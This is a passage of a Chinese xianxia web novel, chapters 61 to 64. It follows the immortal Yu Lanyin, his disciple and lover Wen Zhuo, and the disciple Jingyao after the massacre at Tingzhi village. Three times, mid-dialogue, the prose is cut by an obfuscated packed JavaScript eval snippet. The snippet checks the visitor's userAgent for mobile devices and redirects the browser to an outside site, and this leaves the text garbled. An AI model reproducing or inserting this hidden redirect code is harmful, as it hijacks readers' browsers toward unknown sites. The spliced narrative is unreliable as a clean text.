隔壁的怀夫人的死状也同君少暄先前所说的如出一辙,只剩一张人皮挂在门口的架子上。 不止乌宅,整个汀芷村,再无一活人。 大多死相惨重,大多死去多时。 君少暄和镜遥看见一道黑色的身影像箭一样闪了回来的时候,甚至都没反应过来。 那人就一阵风似的掠过他们三人,从地上直接将乌朔掐着脖子抓到了半空中。 玉阑音性子温和极少动怒,又有抬抬手便能呼风唤雨的本事,平日更是鲜少亲自动手。 可此时,掐着乌朔脖子的这人正是玉阑音。 一言不发,神情是从未见过的阴狠暗涌。 他掐着乌朔脖子的手几乎是用了全力,青筋外露,乌朔的脸几乎在瞬间就涨成了紫红色。 可是即便如此,乌朔依然吊儿郎当的笑着,尽管逞强又狼狈。 “哟,这是……咳……都看见了?” 玉阑音一句话都没说,手上却是猛地用了更大的力。 “咳咳……” 乌朔不受控咳了起来,却也是更疯狂地哈哈大笑起来。 “我是有苦衷的……上仙大人,你得……体谅我啊……你说,我一个厌族……怎么能悄无声息假扮村里人呢……都杀了,才能……啊,您说对……不对?” “长老!冷静!长老!” 玉阑音眼中直接闪过了血色,乌朔的脖子甚至“咔啦”得响了一声,君少暄立刻意识到情况不对,连忙出声劝阻道。 镜遥同样轻声喊道:“长老!他在求死!千万不能中了他的计啊长老!” 玉阑音看都没看他们一眼。 他只看着乌朔,道:“是不是达奚恩山指使的?嗯?” 乌朔已经开始犯晕,疯癫癫说起了胡话。 “天道昭昭……浩渺无垠,其威如霆……其势如洪……因果殊荣,报应不爽……” “说话!” 玉阑音发了狠,“砰”一声,将乌朔甩到了地上。 霎时间,尘土飞扬,地上直接显出了人形的深坑。 “说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14448882|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 没有人见过玉阑音如此失态。 他墨发四散,随玄袍一同无风自动,眼眸红光毕现,活像是阎罗殿爬上来的夺人命的厉鬼。 直到温卓踉踉跄跄到了玉阑音身后,无力地半伏到他的肩头。 一瞬间,方才还像活像是要剥人皮的玉阑音忽然就住了手。 他轻轻一喘息,转过头的神情忽然就称得上温和,“嗯?不舒服了?” “嗯,”温卓的声音透过斗笠有点发闷,“什么时候回家?” 两人突如其来不遮不掩的亲昵尽数落到君少暄和镜遥眼中。 心下登时齐齐地一抽。 嘶…… ……难道? ……不对,不对…… 玉阑音忽然笑了起来,直接将方才的凶戾与阴鸷冲散得一干二净。 他笑着拍了拍那乌黑的斗笠,“好,很快了。” 君少暄看得更是惊恐。 不可能…… ……吧。 君少暄和镜遥相当默契又震惊地对视一眼。 ……反正我师尊和我不这样。 ……好巧,我师尊和我也不这样。 两人经过好一番无声的交流,终于统统哑了声。 一时间,两人甚至都无暇分神乌朔一事,只有惊恐又八卦的心火熊熊燃起。 乌朔被松开了脖子,大口大口喘起了气,带着厌族嘶哑的摩擦声,活像是个刺耳的破风箱。 他一边喘息,一边哈哈大笑道:“玉阑音……咳咳……这是,你唯一能杀我的机会……” 玉阑音像是看已死之人一般看向他。 他一扯嘴角,“不过蝼蚁。你也配?” 乌朔却像是没听到他的讥讽一般,忽然眺望向远方,疯癫癫地笑起来:“啊……终于来接我了……” 话音未落,忽然一道浅紫色的身影骤然落至玉阑音和乌朔之间。 乌朔当即就兴奋了起来,手脚并用地朝这人的方向爬去。 是海棠掌柜。 她身形高挑,落地后几乎没有同玉阑音对视,脚一沾地,就是猛地往乌朔颈后一劈,直接将乌朔劈得昏死过去。 几乎是同时,一个密不透风的风墙就地旋转腾升,瞬间将二人包裹起来。 玉阑音立刻察觉不对,当即就要起身去拦。 可海棠的反应同样极快,她手一动,风墙随之猛烈向上一冲,直接将靠近的玉阑音撞得向后一个趔趄。 只下一秒,一阵狂风大作,海棠同乌朔二人几乎是瞬间就从原地消失了,甚至没留下一丝踪迹。 一旁的君少暄和镜遥同样是出手慢了一步,只能看着瞬间空空如也的面前,愣愣地出神。 君少暄后知后觉,“那是……西樵客栈的掌柜……海棠?” 玉阑音脚下运气稳住了身形,眉头却蹙得很紧。 “应该是。”镜遥愣愣地点点头,“不过这海棠掌柜……身量怎么如此高挑?这……比我都要高半头了……” 玉阑音的手突然被身后的温卓捉住了。 温卓已经将斗笠摘下,面色也已经恢复如常,只有头发比平时略微松散了些,其他再无异样。 他道:“怀馨草。” 空气中,怀馨草特殊的香气幽幽地萦绕,若有若无,时隐时现。 玉阑音自然也闻到了这气味。 他的神情莫名有些说不清道不明的古怪,一闪而过,即便敏锐如温卓也未能捕捉到其中的讯息。 温卓只留意到,玉阑音在抬头的瞬间,眼睛不着痕迹地扫过一旁的镜遥。 62.沉沦 原本便萧瑟的汀芷村,经过了这一番狂风过境后更是破败。 临到别时,四人皆是无言。 汀芷村早在数十年前便被乌朔屠了满村,如今满目疮痍,君少暄甚至都想不出回去之后如何将此事上报师尊。 直到玉阑音深深凝望了一眼海边锈迹斑斑的铜皮铁船。 “走吧。” 镜遥点点头,“嗯,走吧。” 回十方宗的路程不算远,四人包了一驾马车慢慢地赶路。 “长老,乌朔造出这幻境数十载皆是平安无事,可谓是瞒天过海,为何最近忽然传出了那接连死人的事情?或是那幻境忽然不稳了?”镜遥问道。 自从踏上了回程路,玉阑音的状态便开始有些低迷。 他的脸色褪成了毫无血色的瓷白色,唇色寡淡到要同面色融为一色。倚靠在略晃荡的马车壁上,久久地阖着眼,呼吸也浅到几乎察觉不到。 直到听到镜遥讲话,玉阑音这才慢慢睁开了眼。 他的一双眼睛笼罩着一层重病的倦怠,再不见平日的眼波流转璀璨的光华。 “这‘虚空换’虽然邪,却又一板一眼,很规矩,是个不折不扣的仙门法阵。再加上乌朔,他的相貌大约是我……十几岁,还未及冠时。年纪不大,又是厌族。若要说这法阵是乌朔一人的手笔,我是不信的。” 玉阑音声音很慢很轻,甚至是因为过于无力而断断续续。 闻言,镜遥顿时开雾睹天,“长老的意思是……达奚恩山?” 尽管身体不适,但玉阑音还是笑着看他一眼,毫不吝啬自己的赞扬,“好机灵。” 他握拳闷声咳了两声,“达奚恩山随我修行过一段时间,他对阵法感兴趣,又有些天赋,学得很好,不会出现结界不稳这种低级问题。” 温卓本就因为玉阑音急转直下的身体有些低气压。 此时听了这话,微不可察地皱起了眉。 玉阑音心口闷闷地发疼,但蓦地看见温卓的臭脸还是被逗得笑出了声。 他偏过头,低声哄道:“不过肯定没有我们一一学得好。” 温卓心下冷哼一声,眉头虽渐松,却还是冷着一张脸,“少说话。” 玉阑音笑着说是。 一旁的君少暄和镜遥默契地体现出了非凡的眼力见。 他俩突然对马车上那个小木桌很感兴趣。 “君兄,这桌几的黄花梨可真黄花梨啊。” “我看着像红木呢,镜兄。” “啊,红木,红木也很好,君兄。” …… 两人一口一个“兄”的,唤得好不亲昵,聊得好不投机。 玉阑音笑盈盈看他俩好一会儿,悠悠开口:“可是这小茶几是杨木的呢。” 话音将落,君少暄和镜遥当即齐齐成了哑巴。 一顿,镜遥哈哈笑了两声,“长老说得是,长老说得是,要不说长老是长老呢吗?” 言下之意:速速住嘴。 玉阑音又被逗得一乐。 温卓看着他忽然又白了几分的脸,面色极为难看。 他伸出手把这人往自己肩头一带,玉阑音身上几乎没有用力,轻轻一拉就过来了。 非礼勿视,非礼勿视…… 镜遥一边在心中默念,一边小心问道:“那达奚恩山究竟是为何忽然放出死人的风声?这不是会引人注目了?” 玉阑音在温卓的肩头寻了个舒服的姿势,“他要得便是引人注目。” 镜遥面露不解。 “因为……”玉阑音似乎是终于累了,合上了眼,声音也随之低缓,“时间要到了。” 镜遥更是不解地皱了皱眉,“时间要到了?” 温卓心疼玉阑音,没等玉阑音再开口,便接过了话口:“玄天门少掌门的晓星夺昭示,不过三年。” 他这话是同镜遥说的,但是眼睛却长久地停留在玉阑音身上。 他没有错过玉阑音忽然颤抖扑朔的羽睫。 “晓星夺?是那占卜天机的神级仙器?”君少暄倒抽一口凉气,“晓星夺有了昭示,那岂不是……” 镜遥愣愣地接过话,“……天道将倾,在所难免了?” 提到这事,即便是好脾气如温卓也是气不打一处来。 他笑道:“那可得问咱们长老了,能将这事揣得这么严实,定然已经是有了应对之策。是吧,师尊?” 玉阑音心觉不妙。 他佯装听不见,继续假寐,一边头疼地腹诽:这没大没小的小兔崽子,在这儿半阴不阳地点我呢。 温卓看了他一会儿,笑容慢慢地消失殆尽。 他的确是有怒火,可是又哪舍得朝他发脾气。 他只是……太心疼了。 又太无力了。 马车日夜兼程,三日后便到了十方宗。 到了十方宗后,君少暄和镜遥各自有务在身,匆匆作了别复命去了。 温卓与玉阑音刚回到虚空山,忽然便收到了秦鹤生递来的传声符。 符纸上道,叫他与玉阑音二人往天庸峰一去。 虚空山山高风凉,玉阑音被逼着换上了霜色薄绒大氅。 他笑道:“你何时同鹤生如此熟悉了?传声符都是传给你,不是给我的。” 温卓不理会他这些话,只问:“身体怎么样?还去得了么?若是累了我自己去便是。” 玉阑音早就习惯了温卓时不时的盘问,一一回道:“身体还好。去得了。一起吧。” 天庸峰。 秦鹤生看见二人进了大殿,连忙从人高的书卷中钻出来,起身相迎。 三人将一短暂寒暄,秦鹤生立刻就察觉到玉阑音的状态不对。 “真人你这是……” “最近结界不稳,动用了一些灵力,又染了风寒。”玉阑音倒是也没瞒着,简单道,“鹤生今日是有什么急事?” 好一会儿,秦鹤生才斟酌着开口:“我今日正是为结界一事……” 他抬头看着玉阑音的脸色,心惊担颤,不知这话究竟是当讲还是不当讲,“近些日子,北塞那处的结界大概是出了些问题……” 北塞是云州结界最薄弱的关口,不然玉阑音也不至于亲自定居札布萨数十载。 一听秦鹤生这话,玉阑音心下已经了然。 这是嫌他在中原待得太久了,催他回去呢。 人生在世,两难的岔路口上,一条路上是万千黎民百姓天下道义,另一条路上仅是一道身影。 孰轻孰重一目了然。 这也正是秦鹤生身上玉阑音最欣赏的一点。 只要秦鹤生胆敢有一丝迟疑,玉阑音一定会毫不犹豫地摘了他掌门的帽子。 正当玉阑音要笑眯眯说是的时候,温卓忽然开口了:“那掌门叫我来又是为何?” 他的语气算不上好,甚至可以说是相当刺头,听得玉阑音不由地一愣。 秦鹤生同玉阑音感情深厚,如此逼迫之话本就自觉欠妥,此时听到温卓的话良心更是难安。 他似乎瞬间又苍老了几十岁似的,“我本是觉得你同真人情同手足,你如今也快百岁,随着真人一同去也可帮衬一二……” “不用帮衬。”温卓语气硬邦邦地打断了秦鹤生的话,“我自己就可以。他不用去。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14465644|146057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯?”似乎是没料到温卓会这么说,秦鹤生有些惊诧地看他一眼。 “温卓,”玉阑音罕见地正色,“别胡闹。” 温卓又道一遍:“他身体不好,不用去。我自己就可以。” 玉阑音脸色一变,隐隐有了发火的前兆。 温卓忽然转过头。 “阑音。” 温卓明明叫着“阑音”的名字,一双漆黑的眼睛宛如深湖,其中隐匿着一丝不易察觉的怒火和强势。 看见两人之间的气氛忽然堪称剑拔弩张,秦鹤生苦兮兮地开始打圆场。 “真人啊,小卓这也是为你着想,你是药术师,自己的身体你自己也清楚啊……” “小卓啊,真人是你师尊,这也是担心你啊……” …… 常言道,鱼和熊掌不能兼得。 最终,秦鹤生以收获了两人的四只白眼为结局黯然退场。 温卓原本是打算在这个夜里悄悄离开的。 不过身后忽然传来的木门开合的声音扰乱了他的计划。 玉阑音赤着脚倚在门框边,在昏黄的夜灯下美得不可方物。 温卓只打眼过去便是呼吸一滞,随即便后知后觉地起了一身激灵,勾得他心痒难耐。 他好像恍惚间回到了十几岁的那个正月十六。 同样的人,同样的不发一言,同样的告别。 这几日,温卓几乎不敢让自己空闲下来。 即便清闲如回十方宗的路上,他也总絮絮叨叨在心里念些读过的诗经词句,生怕自己闲出屁来,犯了贱好死不死地去回忆那个一触即分的吻。 他一边默念着静心的句读,一边自暴自弃地骂自己无用。 恶狠狠地说着不得到不罢休,喜欢啊、爱啊说得情真意切,可真送到眼前了反倒诚惶诚恐。 如今甚至连提起这件事都不敢。 心烦意乱。 灯下,散着发的玉阑音轻声问道:“怎么又要不辞而别?” 温卓看得喉头一紧,脱口而出一句和那年一模一样的,“没有。” 玉阑音抱着臂站在原地。 直到很久,久到他松了松站得发凉的脚,终于失笑道:“那就快来抱抱我啊。” 只一句话,脱口的瞬间,温卓就听到他本就不稳固的道心轰然碎裂,如山洪崩坍,溃不成军。 无暇思考,三步并两步大步流星行至玉阑音面前。 他伸出的手几乎要发起抖来。 经年的苦涩的药香。 这是他遗憾了近百年的拥抱,是他日思夜想近百年的人。 “玉阑音,我和你说过,如果你无意,就不要说会让我误会的话,也不要做会让我误会的事……” 温卓埋在他的颈间,他扯了扯嘴角,声音却像是要哭了,“你怎么总还是这么不小心。” “可是——” “谁说我是无意的?” 环抱着玉阑音的温卓双臂一僵。 玉阑音等了一会儿没等到下文。 终于叹了口气,推搡了两下靠在自己身上的人,“我的脚好凉……” 话音未落,温卓已经动了。 他猛地将怀里那人往上一抱,借力将他顶在了门框上,双手发了狠却又克制地钳住玉阑音的腿,带着他挂在自己的腰间。 玉阑音似乎是笑了。 他居高临下地将手指穿过温卓的发丝,稍一用力便强迫温卓抬起了头。 鼻息交缠,爱欲横生。 无关理智、不算清醒的共同沉沦。 没有人张口说了开始。 却也没有人率先停止。 63.符文 不过大概还是吃了年纪大的亏,玉阑音很快就败下阵来。 他再度拽着温卓的发髻把他拽得离自己一臂远,微微喘息。 “好了,好了,快快饶了我吧。” 温卓压根没有反抗,一拽就拽开了。 他乖乖任由玉阑音抓着,只一双眼睛沉静又汹涌,像夜晚的深海,一瞬不瞬地盯着玉阑音的唇。 两人此时的姿势算不上舒服。 玉阑音慢悠悠地挪蹭了两下,换了个后背不太受力的角度。 “今晚就要走了?” 温卓好久没说话,半晌,才将目光从玉阑音水润又浅红的唇上离开。 “我想亲亲你。” 玉阑音当即就被气笑了,“滚蛋。我不舒服,你先放我下来。” 温卓“哦”一声,不情不愿把玉阑音抱到了床上。 他没头没尾闷闷地道:“原本是。现在不想走了。” 玉阑音把脚塞进被褥紧紧靠上了汤婆子,这才满足地叹息一声。 他好笑地看一眼垂头丧气的温卓,声音依旧温和,“不想去那就不去了。” 温卓摇摇头,没再说话。 “离我近一些,”玉阑音拍拍床侧,“你头发散了,我替你束发。” 温卓眸光一闪。 他坐到床侧,将有些凌乱的头送到了玉阑音手底下。 玉阑音看他看得心里喜欢,没忍住两手并用囫囵着蹂躏了好一番,彻底把温卓的脑袋揉成了鸡毛掸子。 “玩够了?”温卓也不恼,甚至是笑了一下。 玉阑音神态自若,“嗯,玩够了。” 玉阑音这人平日不太给自己束发,一来是因为犯起头痛来不舒服,二来则是嫌麻烦。 连温卓都没想到,他给自己束起发来居然能如此模有样。 温卓透过镜子看着认真拢发的玉阑音,眼里的笑几乎要盛不下,“嗯,还挺像样。” 玉阑音冷哼着拧了他一眼。 “怎么和师尊说话呢。我穿金戴银、头上龙帘凤钗的时候你怕是还没出生。” “哦,”温卓笑着点点头,丝毫不提他手劲儿大得出奇,拽得自己头发吃痛,“只是很可惜没能见过了。” 听了这话,玉阑音终于满意了,“没事,以后有的是机会。” 一边仔细地给温卓缠着发带,玉阑音一边慢慢开口道:“一一,北塞我了解,到底还是我去更稳妥。” 温卓压根不理睬他这话,佯装没听见。 平日的温卓很少显露出这种刚愎自用、极为固执的特质——至少在玉阑音面前是如此。 玉阑音看着镜子里“我自岿然不动”犟种模样的温卓,极轻地叹了口气。 晓之以情动之以理,玉阑音面上的担忧不似作假,“山高路远,天寒地冻,你自己去我如何能放心呢?” “可是之前你也是一个人,”温卓道,“你可以,那我就可以。” 玉阑音再度想要说些什么。 温卓当即截住了他的话口,“阑音,此事不必再劝。我是不会让你再去的。你知道我。” 头顶又是传来一声叹息。 “那你把我灵犀灯的传声符文背来听听吧。” 温卓几乎是想都没想,“波若无照,万法皆空。” 这下反倒是提问的玉阑音惊讶了。 “居然还记得呢,”他道,“你从前不传声来,我都以为你是要忘了。” “记得的。”温卓道。 “咔哒”一声,玉阑音将金包玉的发扣替他扣好。 “那如今还是不能告诉我你的传声符文么?若是我在家想你了,你又迟迟不来信呢?” 玉阑音的声音透着夜晚特有的倦怠和低缓,含着笑意。 听得温卓直接麻了半边身子。 温卓看了一眼玉阑音屋内铜镶玉嵌着的夜明灯,声音同这夜色一般轻,“‘灯半昏时,月半明时。’” “我的传声符文。” 灯半昏时,月半明时。 玉阑音眯了眯眼,手上动作都一顿。 良久,他才拍了拍温卓的肩头,“收拾好了。” 温卓低声“嗯”一声,正当他要起身之时。 “我想亲亲你。” 温卓一顿,“嗯?” 玉阑音可由不得他反应,直接拽着温卓的前襟强迫他逼近,几乎拽得温卓一个趔趄。 不是一触即分地轻吻。 玉阑音用了很大的力气,温卓只觉得他撞得自己牙好疼。 就在他心下轻笑,要转守为攻的时候,玉阑音却已经是大手一挥将他推开了。 推了将近一臂远。 “亲完了。你走吧。” 这个吻时间短到温卓甚至没尝出味道。 他就站在床边,舔舔有些痛地嘴唇,不明所以。 “告别结束,你的传声符文我也记住了。” 玉阑音看都不再看温卓一眼,直接翻身盖好了被子,一副就寝的模样,“快走吧。” 因为…… ……再待一会儿,他怕他就要反悔,要舍不得这小崽子走了。 玉阑音闭着眼。 他听到温卓应该是在床边站了好一会儿,随后很低很低地笑了一声。 他感觉到温卓的俯身靠近,在他的唇上落下一个和他的笑声一样轻的吻。 “照顾好自己。晚安。” 随后是替他掖了掖被角,熄了夜明灯,再然后是由近及远的脚步声,掩门声,离去声。 一片黑暗中,玉阑音重新睁开了眼睛。 他看向窗棂之外,一轮爬至树梢的圆月。 居然也同那年正月十六别无二致。 北塞苦寒,但是札布萨药居应有尽有,于是温卓身上需要带的行李不算多。 他简单在屋里转了一圈便打算上路。 临行时。 怀里那百年从未响过的灵犀灯忽然亮了。 而他的传声符文只告诉过一人。 温卓深色的眸子柔软得仿佛要滴下水。 他轻叩两下灵犀灯,带着笑意,“嗯。怎么了?” 对面没有回话。 紧接着,只一个停顿,对面便掐断了传声。 温卓笑出了声。 他重新将灵犀灯塞回怀里。 正候来时,正是何时? 灯半昏时,月半明时。[1] 若是你念这句词来找我,那便是你在想我了。 你知道,我也知道。 我们心照不宣。 温卓此时正站在流离所之外,他抬头去看云下半明半暗的圆月。 “我也想你。” 温卓离去的动作是极轻的。 不过玉阑音却依旧是未能得一夕安寝。 夜里子时。 流离所的门被人叩响了。 门外,来人的声音很低,但是算得上清晰。 “长老,是我,我是镜遥。您开开门。” 玉阑音睡眠本就很浅,又因为这段时间身体状况一般,睡得更加不安稳。 他几乎在镜遥的脚落到虚空山上的一瞬间便有所察觉,睁开了眼。 他正欲翻身下床去开门,但是忽然就又想到了温卓临走之时“照顾好自己”的嘱咐。 思量片刻,玉阑音应该是嘟囔了句什么,老老实实地披上了披风才出了里屋。 换上了十方宗弟子服的镜遥正恭恭敬敬矗立在门外,站得极为笔直,活像一棵松。 门刚一开,这棵松便化成了一条泥鳅,“出溜”地滑进了屋。 “唔,好暗。”镜遥被流离所内的黑灯瞎火蒙瞎了眼,“长老你在睡觉?” 玉阑音闻言,手一动,掌上了屋内所有的夜明灯。 “嗯,小憩片刻。” “哎呀,那不会是打扰到……” 镜遥笑嘻嘻,看清整个屋内后,忽然哑了声。 若是说十方宗奢靡成性,那么玉阑音的这“流离所”更是有过之而无不及。 简陋如茅草宅的名字,却是打眼之处尽是金银玉色,品类繁多的名贵木材瓷器只配镶边。整个屋子明晃晃得简直要晃瞎了镜遥的眼。 ……怪不得要熄灯呢。 夜明灯亮起来,晃得眼睛好疼。 他偷偷去看面前的玉阑音。 身上没有一丝金银珠宝,穿着朴素长衫和披风。多么仙风道骨,多么朴素无华。 镜遥略迟疑地开口,“长老这屋子……” 玉阑音顺着镜遥的目光四下一看,道:“哦,我平日喜欢这些东西,这些年走南走北得多了,收集了不少,这些日鹤生看我回来又给我添了些。你若是有看顺眼的随便拿去玩就是。” 镜遥大跌眼镜。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这话一出,反而是那几位师兄愣住了。 “原佰?原佰很久没回来了,和你一样,云霄大比之后就下山了,至今未归。我们都以为他是同你在一起呢。” 其实这一番对话也没什么特别值得注意的奇怪之处,但是镜遥不知怎地总觉得有些不安。 “原佰师兄并未同我一路,大概是师尊派他去了别处吧。谢过各位师兄了。” 几位师兄好脾气地笑着说没事。 作别后,镜遥总觉得难安,便动身前往药谷去寻善玄。 原本以为善玄这种闲散仙人,不是下山喝酒就是听戏,恐怕找他要费些功夫。 没想到他脚刚一落到药谷便碰到了善玄。 善玄正急匆匆地不知要往何处去,步履匆匆,头发更是一窝乱草。 镜遥连忙开口唤住了善玄,“善玄长老。” 善玄这才注意到来人,他驻足好生辨认了一番,“哦,你是……” “长老,我是青木长老门下弟子,镜遥。”镜遥很上道地接过话开始自我介绍,“我近日刚回宗门,没见到师尊,又听说是长老您在代学堂的课业,不知这究竟是怎么一回事?” 善玄从听到“青木长老门下”几个字后面色就微微一变。 “哦……青木啊……”善玄道,“青木他闭关了。有什么事你同我说吧。” 镜遥察觉到善玄的脸色不对,心下更是纳罕。 “近日我同温卓温兄、君少暄君兄和无上长老一起去了琼州汀芷村,正欲为此事前来汇报。” “嗯?”善玄脸色又是一变,“师尊也去了?” 镜遥愣了愣,好半晌才知道善玄口中的师尊正是玉阑音。 “是的,长老这些日一直同我们一起。” 听了这话,善玄忽然有些愁眉苦脸起来。 他烦躁地抓了抓鸟窝似的头发,嘟囔道:“那可真难办,掌门和我原本是不打算同师尊说的……” 镜遥不解地看着善玄。 善玄这才道:“你先简单说说吧,在汀芷村你们发现了什么?” 于是镜遥三言两语但是十分声情并茂地简单复述了全过程。 只是善玄从头到尾都似乎对此并不惊讶。 他看起来依旧苦恼万分,思索片刻才说:“阿遥,汀芷村一事我们已经知晓。你若是方便,替我同师尊转告一句,‘内鬼已找到。’” 镜遥又是一愣:“内鬼?” 善玄似乎是有急事在身,对此不愿多言,只摆摆手,“对。你只替我如实转告这句便是,师尊会明白的。” 他急匆匆地转身,两三步便不见了踪影。 64.青木 “所以是善玄叫你来找我的?” 玉阑音不知什么时候从一旁摸了一卷书简,鼻梁上挂上了叆叇,看得居然还挺认真。 见到他们长老这副从容不迫的模样,镜遥彻底摸不清“内鬼”一事究竟是大是小了。 他琢磨一会儿,只能当玉阑音这是在暗中点他子时前来太过打扰。 于是连连道歉:“不是的长老,不是善玄长老叫我子时前来的。我回屋之后心神难定,先是自己琢磨了好久,这才来寻您、扰了您休息。” “别紧张,我并没有怪你的意思。”玉阑音透过叆叇看他一眼,好笑道,“不过你既然来找我了,可是自己有了什么判断?” 玉阑音看着书卷,几乎没怎么将注意力放到镜遥身上。 他的声音很慢很轻,无端的温和与无端的威严交绕,却使得镜遥提心吊胆一晚上的心缓缓落定。 镜遥忽然问道:“长老,这内鬼一事前前后后,我方便知道么?” “我同善玄、鹤生的意思大差不差,这件事知道的人越少越好,不过……”玉阑音笑了起来,“你早就被卷进来了,倒是也没什么不方便。” 在听完玉阑音讲述完蜀中栾家一事后,镜遥大为震惊。 “恪心恪云师兄居然……” 玉阑音慢慢收回久久停留在窗外树梢上的目光。 “只要是人,都会有一间不能向旁人展示的黑屋。你要习惯。” 镜遥愣愣地听着,虽然他隐隐知道玉阑音这是在点拨自己,但还是莫名其妙地走了神。 “那长老您……也有吗?黑屋。” 闻言,玉阑音率先笑了起来,“当然了。难道我不是人么?” 他在暖色的灯下轮廓柔和万分,但是又莫名显得寂寞。 镜遥讷讷道:“我不是这个意思,长老……” 玉阑音笑着望他一眼,随即便重新看向手中的竹简,不再多言。 之后便是一阵长久的沉默。 终于,是蜷缩着的镜遥闷闷开了口,声音却像是要哭了。 “那长老,我的师尊……他也有么?” 同样的问题。 但是这次玉阑音却没再说“难道他不是人么”这种话。 他轻轻取下了鼻梁上的叆叇。 也不知是不是因为撤去了那琉璃片的遮挡,玉阑音的眼眸忽然变得遥远又寂寥。 “我可以替他回答,但是我不能替他向你回答,镜遥。” 他放下手中的书卷,慢慢地撑起了身,“你想见他吗?” 镜遥愣怔着抬头,“嗯?” 玉阑音沉默又温和地看着他。 好一会儿,他才又问一遍:“想见他吗?” 他的目光像一双无形的手,柔柔地拢上镜遥接近破碎的心。 镜遥哭了。 “我想……”他的哭声在沉重的夜色中听得极为清晰,“我想……长老……” 玉阑音不知什么时候已经下了床。 镜遥哭得视物不清,他只看到一团白色的云雾慢慢走近自己。 一只手极轻地替他拨开了额角湿粘的发。和它主人一身病气不同,是出乎意料的温热有力。 “哭什么,我现在就可以带你去见他。” 玉阑音这话一出,镜遥却是哭得更凶了。 他哭得抽噎起来:“真的……么……长,长老?” 镜遥的年纪和温卓差不多大小,这时哭得梨花带雨,玉阑音看着便有些走神。 果然,人啊……很难不爱屋及乌。 他收回了手,转而笑起来,“自然是真的了。十方宗我最大,谁敢拦我?” 说着,他便着手给自己裹上了厚重的兔毛大氅,想了想又抱起了个小暖炉,“走吗?” 镜遥像个流泪的小尾巴,亦步亦趋跟到玉阑音身后。 其实都不需要费心去想,这段时间事多世乱,作为长老怎么会在这节骨眼闭关呢? 加之汀芷村一事……不难猜出,青木必然是被查到了什么、被关押起来了。 而若是关押…… “长老?这里是哪里啊?” 夜里山高风紧,纵然是镜遥也被山顶的风吹得蓬头垢面,吸溜着鼻子。 “寒山。”玉阑音裹了裹大氅,脸上的病气几乎要盖不住,“寒山牢。十方宗下狱之地。” 镜遥闻言只是抿了抿唇。 他仿佛已经猜到了似的,点点头,“哦。寒山牢。” 随后他打量了一番玉阑音的面色,担忧溢于言表,“长老,倒是您,身体吃得消么?若是不舒服我们改日再来吧。” 他一边说着一边狗腿子似的往玉阑音身上结印,“防风的结界和符咒,有点作用么,长老?” 玉阑音在风里看了看镜遥。 他像当年骗温卓一样,“管用的。谢谢。” “那太好了!” 能帮到玉阑音,镜遥终于在今晚第一次展露了笑靥。 玉阑音看了他一会儿,不知怎地又想到了札布萨,山桂已经死去的爹。 那个孩子……叫什么来着…… “鲁尔迈。”山桂指着墓碑上那三个字符,同温卓笑道,“这是札布萨字,哥你是不是不认得?” 温卓朝鲁尔迈的墓碑拜了三下。 随后他才有些歉疚道:“抱歉,我不认识这里的文字。” 山桂连连摆手,摆得头上的皮帽子都险些甩下来。 “这有啥的!哥你这话见外了吭!你好容易回来一趟,刚落地就专门来看我爹,说啥子对不起的!” 修行可延年益寿,山桂同温卓差不多大,不过到底是不抵温卓看着年轻。他笑起来,满脸风霜的褶皱。 “你瞧瞧我爹这坟,哎哟这石料这木头,这都是药郎先生出钱给搞的!多么气派!每回我来这儿,在看看别家那坟头,哎哟别提多有面儿!” 大概是因为话里提到了玉阑音,温卓终于笑了起来。 “哎呀这说到药郎先生了,药郎先生前些日子忽然就走了,说要去中原。我这一猜,嘿,准是找哥你去了,这还真没猜错。”旧友重逢,山桂话很多,看上去很高兴,“药郎先生可还安好?” “阑音一切都好。只是今后……”温卓道,“可能回这里的机会少些了。” 山桂愣了愣,“啊……这样啊。” 他眨了眨眼,好久才重新笑起来,“也好,也好。药郎先生身子骨差,不回我们这儿也好。中原那种地界,漂亮,水灵,药郎先生一直待在那里才是好。” 山桂絮絮叨叨,但是情绪不太高昂,低头垂眼之时便能显出些落寞。 天色已暗到了饭点,盛情难却,于是温卓硬是被山桂拉回到家里好酒好肉地招待了一番。 温卓不胜酒力,几杯酒下肚已经是颠三倒四,趁着还没有失去意识急忙告辞回药居去了。 北塞天寒地冻,即便如今已经要入夏,地上还是积着一层薄雪。 温卓踩着“吱嘎吱嘎”的雪往药居走,或许也是酒劲未消,见到远处那青砖木门中原样式的院落房屋的瞬间,他忽然觉得耳畔猛地响起了呼啸的风声。 那是岁月长河之上的风。 药居之于温卓,仿佛是船锚之于海船。 只需一眼,温卓便跌跌撞撞恍然回到了童年。 黑漆木门,金兽铺首。 红纸金边的新年对联,却仍旧是他临走那年的上联“身比闲云,月影溪光堪证性”,下联“心同流水,松声竹色共忘机”,红纸旧了些,褪了色。 酒精使然,温卓头脑有些发顿。 他看着对联,愣愣地想:原来那人从我走后,再没过过新年。 心脏之处丝丝缕缕地发疼。 温卓赶忙伸手去揉,无济于事。 玉阑音喜欢金的银的玉的贵的,但是出乎意料地又是一个念旧的人。 药居屋内,同样是一切如旧。 壁炉枯树,兽皮摇椅。 仿佛这百年的时光只是一场梦。 而他也从未离开过。 ……鲁尔迈。 玉阑音想起来了,那个临走都没能得机会报答他的孩子叫鲁尔迈。 “……长老?长老?” 